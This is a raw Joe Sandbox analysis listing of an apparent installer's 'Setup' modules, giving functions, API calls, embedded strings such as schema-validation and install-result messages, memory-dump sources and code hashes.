                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CB8A1FF: __EH_prolog3_catch.LIBCMT ref: 6CB8A206
                    • __CxxThrowException@8.LIBCMT ref: 6CB96666
                      • Part of subcall function 6CB8838A: __EH_prolog3.LIBCMT ref: 6CB88391
                      • Part of subcall function 6CB88415: __EH_prolog3.LIBCMT ref: 6CB8841C
                    Strings
                    • HashValue, xrefs: 6CB9649E
                    • URL, xrefs: 6CB96453
                    • CompressedDownloadSize, xrefs: 6CB96571
                    • CompressedHashValue, xrefs: 6CB9652C
                    • schema validation failure: If HashValue is present then it must be a 64 hex-digit string, xrefs: 6CB9667A
                    • ParameterInfo.xml, xrefs: 6CB965E8, 6CB96688
                    • DownloadSize, xrefs: 6CB964E3
                    • schema validation failure: If URL is present then there must be a DownloadSize, xrefs: 6CB965DA
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8H_prolog3_catchThrow
                    • String ID: CompressedDownloadSize$CompressedHashValue$DownloadSize$HashValue$ParameterInfo.xml$URL$schema validation failure: If HashValue is present then it must be a 64 hex-digit string$schema validation failure: If URL is present then there must be a DownloadSize
                    • API String ID: 24280941-3047338099
                    • Opcode ID: 222a98ca902ceefc20788b6bdf7ea1e1b0f525808fabb24603b78d43099fe5b4
                    • Instruction ID: 62d2e891eafb0353ca812cf1a14d4a221b1c96ccd08dbd4861f19fc6037e6cbe
                    • Opcode Fuzzy Hash: 222a98ca902ceefc20788b6bdf7ea1e1b0f525808fabb24603b78d43099fe5b4
                    • Instruction Fuzzy Hash: 17A14171901689DFCF10DFA8C944AEEBBB9AF15318F144559F415EBB80CB31EA08CB62
                    Function 6CBC6782 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 235comCOMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBC6789
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CBC988C: __EH_prolog3.LIBCMT ref: 6CBC9893
                      • Part of subcall function 6CBC988C: GetCommandLineW.KERNEL32(0000002C,6CBCD52A,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6CBC98B4
                      • Part of subcall function 6CBC988C: PathIsRelativeW.SHLWAPI(?,?,?,00000000,?,UiInfo.xml,?,?,00000000,?), ref: 6CBC996E
                      • Part of subcall function 6CB8A8CC: __EH_prolog3.LIBCMT ref: 6CB8A8D3
                      • Part of subcall function 6CB8A8CC: PathIsRelativeW.SHLWAPI(00000000,00000000,?,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6CB8A90B
                      • Part of subcall function 6CB8A8CC: GetModuleFileNameW.KERNEL32(00000010,00000104,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6CB8A964
                      • Part of subcall function 6CB8A8CC: __CxxThrowException@8.LIBCMT ref: 6CB8AA28
                    • CoInitialize.OLE32(00000000), ref: 6CBC67DD
                    • CoCreateInstance.OLE32(6CB7A974,00000000,00000017,6CB7A9A4,6CBBFA6E,?,?,?,UiInfo.xml,?,00000000,00000044,6CBC36D8,-00000960,?,00000000), ref: 6CBC67FB
                    • __CxxThrowException@8.LIBCMT ref: 6CBC6A24
                    • CoUninitialize.COMBASE(?,6CBFBE00,?,?,?,UiInfo.xml,?,00000000,00000044,6CBC36D8,-00000960,?,00000000,?), ref: 6CBC6A3A
                    • SysFreeString.OLEAUT32(?), ref: 6CBC6A43
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8PathRelativeThrow$CommandCreateFileFreeInitializeInstanceLineModuleNameStringUninitialize
                    • String ID: LCIDHints$ParameterInfo.xml$UiInfo.xml$Xml Document load failure
                    • API String ID: 2432735026-2443555527
                    • Opcode ID: e3ed1ca7d328397a2f84223aeaf1e3508756e391654898f218abe28b56312fbc
                    • Instruction ID: 9b977b466d302546dd0083d597a5df490ccb9b7fd75c67120d37fbaf368fd27d
                    • Opcode Fuzzy Hash: e3ed1ca7d328397a2f84223aeaf1e3508756e391654898f218abe28b56312fbc
                    • Instruction Fuzzy Hash: 02916E71900188EFCF01DBE8C984AEDBBB9AF49318F244559F115EB781D7719E09CB62
                    Function 6CB89F34 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 223memoryCOMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB89F3B
                    • VariantInit.OLEAUT32(00000003), ref: 6CB89F49
                    • SysFreeString.OLEAUT32(?), ref: 6CB89F83
                      • Part of subcall function 6CBC964C: __get_errno.LIBCMT ref: 6CBC966C
                      • Part of subcall function 6CBC964C: __wcstoui64.LIBCMT ref: 6CBC968F
                      • Part of subcall function 6CBC964C: __get_errno.LIBCMT ref: 6CBC96A1
                    • __ui64tow_s.LIBCMT ref: 6CB89FEF
                    • __CxxThrowException@8.LIBCMT ref: 6CB8A0BC
                    • SysAllocString.OLEAUT32(00000000), ref: 6CB8A0C2
                    • VariantClear.OLEAUT32(?), ref: 6CB8A0E9
                    Strings
                    • schema validation failure: attribute %s missing for %s %s, xrefs: 6CB8A17B
                    • Name, xrefs: 6CB8A121
                    • schema validation failure: %s is invalid, a non-negitive numeric value is required for %s, xrefs: 6CB8A03C
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: StringVariant__get_errno$AllocClearException@8FreeH_prolog3InitThrow__ui64tow_s__wcstoui64
                    • String ID: Name$schema validation failure: %s is invalid, a non-negitive numeric value is required for %s$schema validation failure: attribute %s missing for %s %s
                    • API String ID: 1723289333-1070666262
                    • Opcode ID: a1fc1e68bb30b4cefa818a294696400a1e6166136696b69f3f44b01fa4e0ac15
                    • Instruction ID: 0ca01064449b4d80c0e9de338eb8c177c72864ede8e41c99c5a8473b8a72666b
                    • Opcode Fuzzy Hash: a1fc1e68bb30b4cefa818a294696400a1e6166136696b69f3f44b01fa4e0ac15
                    • Instruction Fuzzy Hash: A6916E71901289EFCF01DFA4C944AEEBBB5BF09318F144559E415EB791DB31EA08CB61
                    Function 6CB8A8CC Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 210filememoryCOMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB8A8D3
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                    • PathIsRelativeW.SHLWAPI(00000000,00000000,?,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6CB8A90B
                    • GetModuleFileNameW.KERNEL32(00000010,00000104,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6CB8A964
                    • __CxxThrowException@8.LIBCMT ref: 6CB8AA28
                    • SetFilePointer.KERNEL32(?,00000000,6CB7A794,00000001,?,00000000,00000000,00000002,?,80000000,00000001,00000003,00000080,00000000,00000000,?), ref: 6CB8AA49
                    • ReadFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6CB8AA97
                    • SysAllocStringLen.OLEAUT32(00000000,?), ref: 6CB8AAAC
                    • CloseHandle.KERNEL32(?,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6CB8AB2C
                    Strings
                    • ReadXML failed to open XML file %s, with error %d, xrefs: 6CB8AA07
                    • Could not find mandatory data file %s. This is a bad package., xrefs: 6CB8AAE5
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: File$H_prolog3$AllocCloseException@8HandleModuleNamePathPointerReadRelativeStringThrow
                    • String ID: Could not find mandatory data file %s. This is a bad package.$ReadXML failed to open XML file %s, with error %d
                    • API String ID: 3768868350-4172873023
                    • Opcode ID: 01f695aadd03c194b85713eac53e8535762d3297d4b7ed4b7d0fdda7a6fa6668
                    • Instruction ID: e140dc0cdf31c567763807cb295709e80c0bdca6475cdbfeb1ad20d383ef6941
                    • Opcode Fuzzy Hash: 01f695aadd03c194b85713eac53e8535762d3297d4b7ed4b7d0fdda7a6fa6668
                    • Instruction Fuzzy Hash: E3814A71901189AFCF00DFA4CC84AEEBBB9FF48314F15451AE511B7791D7359A05CBA1
                    Function 6CBBA78F Relevance: 17.7, APIs: 4, Strings: 6, Instructions: 160COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBBA796
                      • Part of subcall function 6CB8C5D4: __EH_prolog3.LIBCMT ref: 6CB8C5DB
                      • Part of subcall function 6CB8C5D4: GetLastError.KERNEL32 ref: 6CB8C609
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CBC1236: __EH_prolog3.LIBCMT ref: 6CBC123D
                    • GetLastError.KERNEL32 ref: 6CBBA83B
                    • GetLastError.KERNEL32 ref: 6CBBA8F4
                    • GetLastError.KERNEL32 ref: 6CBBA95B
                    Strings
                    • Failed to record PackageName, xrefs: 6CBBA7B8
                    • Failed to record IsRetailBuild, xrefs: 6CBBA975
                    • Failed to record PackageVersion, xrefs: 6CBBA7F7
                    • Failed to record DisplayedLcidId, xrefs: 6CBBA855
                    • Failed to record InstallerVersion, xrefs: 6CBBA8B0
                    • Failed to record PatchType, xrefs: 6CBBA90E
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: ErrorH_prolog3Last
                    • String ID: Failed to record DisplayedLcidId$Failed to record InstallerVersion$Failed to record IsRetailBuild$Failed to record PackageName$Failed to record PackageVersion$Failed to record PatchType
                    • API String ID: 685212868-335235891
                    • Opcode ID: 38c0407f6859a02e128f96203bed9dca82d43eab9ede259f8fc4198bf701c256
                    • Instruction ID: ab928a896f61096aa42f96bb466ea035a8d9faa01b4ec56b65bb18c793781799
                    • Opcode Fuzzy Hash: 38c0407f6859a02e128f96203bed9dca82d43eab9ede259f8fc4198bf701c256
                    • Instruction Fuzzy Hash: 58516F75600289AFDB10DFA4C904FDE7BBABF45358F104518B914EBB90CB71E609DBA1
                    Function 6CBC0076 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 121COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBC007D
                    • GetSystemInfo.KERNEL32(?,-00000960,-00000960,-00000960,-00000960,00000050,6CBB93A7,?,UserControlled,?,-00000960,6CB7A794,?,6CB8BFC7,00000018,6CB8BC3C), ref: 6CBC010B
                    • SqmIsWindowsOptedIn.SQMAPI(?,UserControlled,?,-00000960,6CB7A794,?,6CB8BFC7,00000018,6CB8BC3C,-0000093C,?,?,?,?,?,?), ref: 6CBC0121
                    • __CxxThrowException@8.LIBCMT ref: 6CBC01CB
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: Exception@8H_prolog3InfoOptedSystemThrowWindows
                    • String ID: AlwaysUploaded$Disabled$OSControlled$ParameterInfo.xml$UserControlled$schema validation failure: Invalid Policy Value being defined.
                    • API String ID: 3692811390-1543467451
                    • Opcode ID: ee27934465e9c096ec785f4c9c9d47d2aa95585b1c947925d4c6caccf86af7df
                    • Instruction ID: afa23b4c19853df1c769afe4239993118266f45de3c3fbde059320f92056d692
                    • Opcode Fuzzy Hash: ee27934465e9c096ec785f4c9c9d47d2aa95585b1c947925d4c6caccf86af7df
                    • Instruction Fuzzy Hash: 1D41DA71A002C99FCB11DBA4C954BEEB7B9AF05318F044265F915FBB81DB31DA4887A3
                    Function 6CBBA2DD Relevance: 16.8, APIs: 5, Strings: 6, Instructions: 271COMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 6CB8C53D: GetLastError.KERNEL32(?,6CBBA320,564FE71B,?,?), ref: 6CB8C55E
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CBC1236: __EH_prolog3.LIBCMT ref: 6CBC123D
                    • GetLastError.KERNEL32 ref: 6CBBA393
                    • GetLastError.KERNEL32 ref: 6CBBA434
                    • GetLastError.KERNEL32 ref: 6CBBA4A7
                    • GetLastError.KERNEL32 ref: 6CBBA511
                    • GetLastError.KERNEL32 ref: 6CBBA5A5
                    Strings
                    • Failed to record SetUserId, xrefs: 6CBBA3C0
                    • Failed to record StartupAppid, xrefs: 6CBBA4C1
                    • Failed to record MPC, xrefs: 6CBBA5BB
                    • Failed to record StartSession, xrefs: 6CBBA322
                    • Failed to record current state name, xrefs: 6CBBA52B
                    • Failed to record SetMachineId, xrefs: 6CBBA461
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: ErrorLast$H_prolog3
                    • String ID: Failed to record MPC$Failed to record SetMachineId$Failed to record SetUserId$Failed to record StartSession$Failed to record StartupAppid$Failed to record current state name
                    • API String ID: 3502553090-2804495384
                    • Opcode ID: 1a28e2b7cce2a3350a3a0ffe2bcc1e882a0a874a2fc410b5ac8acc4be2885586
                    • Instruction ID: 94a30ab20cb3f164944ffe5465446cfdcd96266e68a1a9e3a2b1ea76cbb8bead
                    • Opcode Fuzzy Hash: 1a28e2b7cce2a3350a3a0ffe2bcc1e882a0a874a2fc410b5ac8acc4be2885586
                    • Instruction Fuzzy Hash: 9BA1A0716042829FD720CF25C844BAFBBE9FF44364F140A2DF4A1D76A1DB75D9098BA2
                    Function 6CBA2127 Relevance: 16.1, APIs: 2, Strings: 7, Instructions: 317COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBA212E
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                    • __CxxThrowException@8.LIBCMT ref: 6CBA2484
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8Throw
                    • String ID: CopyPackageFilesToDownloadLocation$DelayBetweenRetries$DownloadRetries$Items$No items found. The package must contain at least one item.$ParameterInfo.xml$true
                    • API String ID: 2489616738-2573507987
                    • Opcode ID: 7e50d701612908cdc3ebd72076f719f974036a75aa7c8d7834c4fe028e218d7a
                    • Instruction ID: 6a86c27882aef3f873a3ff150920063d063b072df68a08cd083e82e9c79c3b77
                    • Opcode Fuzzy Hash: 7e50d701612908cdc3ebd72076f719f974036a75aa7c8d7834c4fe028e218d7a
                    • Instruction Fuzzy Hash: C0D13E70905289DFCF05CFA8C884AEEBBB5EF49318F148199E554EB781C735DA05CBA2
                    Function 6E0C32BC Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 303COMMON
                    Download Yara Rule
                    APIs
                    • memset.MSVCRT ref: 6E0C3302
                      • Part of subcall function 6E0C3679: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,6E0C332F,?), ref: 6E0C3683
                      • Part of subcall function 6E0C3679: OpenProcessToken.ADVAPI32(00000000,00000008,?,?,?,?,?,6E0C332F,?), ref: 6E0C36B3
                      • Part of subcall function 6E0C3679: ConvertSidToStringSidW.ADVAPI32(00000000,?), ref: 6E0C36D5
                      • Part of subcall function 6E0C3679: CloseHandle.KERNEL32(?,?,00000001,?,?,?,?,6E0C332F,?), ref: 6E0C36E0
                    • EnterCriticalSection.KERNEL32(6E0E0168,?), ref: 6E0C3334
                    • LeaveCriticalSection.KERNEL32(6E0E0168,00000400,?), ref: 6E0C33F5
                    • LocalFree.KERNEL32(00000000), ref: 6E0C340C
                    • SetLastError.KERNEL32(00000057), ref: 6E0C341F
                      • Part of subcall function 6E0C17EB: malloc.MSVCRT ref: 6E0C17F6
                    • ctype.LIBCPMT ref: 6E0CEDDC
                      • Part of subcall function 6E0C343E: GetSystemTime.KERNEL32(00000000,00000838,00000000), ref: 6E0C347D
                      • Part of subcall function 6E0C343E: SystemTimeToFileTime.KERNEL32(00000000,00000000), ref: 6E0C348B
                      • Part of subcall function 6E0C30D2: InterlockedIncrement.KERNEL32(00000000), ref: 6E0C30D8
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: Time$CriticalProcessSectionSystem$CloseConvertCurrentEnterErrorFileFreeHandleIncrementInterlockedLastLeaveLocalOpenStringTokenctypemallocmemset
                    • String ID: %s_%s$W
                    • API String ID: 2889056228-4070589124
                    • Opcode ID: 6e290f5a1eaa3bb513cbcd5563994fa19dae226c1786ae3096a4effabdefcd6c
                    • Instruction ID: 8234040cb958f552ffc52e9b5c155022e2a2d237aa0c23323255e906d2cfec4b
                    • Opcode Fuzzy Hash: 6e290f5a1eaa3bb513cbcd5563994fa19dae226c1786ae3096a4effabdefcd6c
                    • Instruction Fuzzy Hash: C1C1C1318006189FDB919FD4CC94BEE7AF9FF04B44F0084E4A899A7151DF759A8A8F92
                    Function 6CB93BA9 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 263COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    • CustomErrorHandling, xrefs: 6CB93BFA
                    • Processing CustomErrorHandling element block, xrefs: 6CB93BF0
                    • ParameterInfo.xml, xrefs: 6CB93C67
                    • Adding Custom Code , xrefs: 6CB93E02
                    • ReturnCode, xrefs: 6CB93CCA
                    • CustomErrorHandling element not defined, xrefs: 6CB93BE1
                    • MSIErrorMessage, xrefs: 6CB93D0D
                    • schema validation failure: Expect at least one CustomError element., xrefs: 6CB93C59
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID: Adding Custom Code $CustomErrorHandling$CustomErrorHandling element not defined$MSIErrorMessage$ParameterInfo.xml$Processing CustomErrorHandling element block$ReturnCode$schema validation failure: Expect at least one CustomError element.
                    • API String ID: 431132790-2299275001
                    • Opcode ID: 277c3a92643cc24cfbe9854e6824afc42c71353244a1a5e97c639d21aff3b81f
                    • Instruction ID: b1f19bbc4a2c2a82da2e7394db2e21de2f4bbb777125f57488556c004621d7ea
                    • Opcode Fuzzy Hash: 277c3a92643cc24cfbe9854e6824afc42c71353244a1a5e97c639d21aff3b81f
                    • Instruction Fuzzy Hash: 74B15D71900289EFDF00DBE8C945BEEBBB4BF05328F144659E125BB790D775AA08CB61
                    Function 6CB874ED Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 134COMMON
                    Download Yara Rule
                    APIs
                    • SysStringLen.OLEAUT32(?), ref: 6CB87558
                    • __time64.LIBCMT ref: 6CB8760A
                      • Part of subcall function 6CB85349: __EH_prolog3.LIBCMT ref: 6CB85350
                      • Part of subcall function 6CB85349: OutputDebugStringW.KERNEL32(?,?,?,00000008,6CBB63AF,000013EC,?,00000000,?,?,ReportingFlags,?,-0000000D,?,?,6CB64A4C), ref: 6CB85371
                    • SysFreeString.OLEAUT32(?), ref: 6CB875E8
                    Strings
                    • Final Result: Installation failed with error code: (0x%08lX), xrefs: 6CB875BD
                    • Final Result: Installation failed with error code: (0x%08lX), "%s", xrefs: 6CB875D2
                    • Final Result: Installation completed successfully with success code: (0x%08lX), "%s", xrefs: 6CB87573
                    • Final Result: Installation aborted, xrefs: 6CB87582
                    • Final Result: Installation completed successfully with success code: (0x%08lX), xrefs: 6CB87567
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: String$DebugFreeH_prolog3Output__time64
                    • String ID: Final Result: Installation aborted$Final Result: Installation completed successfully with success code: (0x%08lX)$Final Result: Installation completed successfully with success code: (0x%08lX), "%s"$Final Result: Installation failed with error code: (0x%08lX)$Final Result: Installation failed with error code: (0x%08lX), "%s"
                    • API String ID: 1943088043-1330816492
                    • Opcode ID: e8612e721f5e16d865161a50673d161a36c7a21be9b813d95601d7a04a776fd6
                    • Instruction ID: d78ccf64cb5afc97ae7d4f3c02877eea9df73c99916a0675504094ccadf3e711
                    • Opcode Fuzzy Hash: e8612e721f5e16d865161a50673d161a36c7a21be9b813d95601d7a04a776fd6
                    • Instruction Fuzzy Hash: D1516271209381ABC700DF69C844A9FBBE5EF85728F040A1DF495A3B91D771E90CCAA3
                    Function 6CBB7B40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 95timethreadCOMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3_GS.LIBCMT ref: 6CBB7B4A
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                    • GetCommandLineW.KERNEL32 ref: 6CBB7BB4
                    • _memset.LIBCMT ref: 6CBB7BF4
                    • GetTimeZoneInformation.KERNEL32(?), ref: 6CBB7C03
                    • GetThreadLocale.KERNEL32(00000007,?), ref: 6CBB7C3F
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: CommandH_prolog3H_prolog3_InformationLineLocaleThreadTimeZone_memset
                    • String ID: CommandLine = %s$Environment details$Initial LCID = %u$TimeZone = %s
                    • API String ID: 1050886296-4009495903
                    • Opcode ID: 03fa368c9139e085476ce1891630cb2b9a8c627d9f4588cf4e82838f7793a4d1
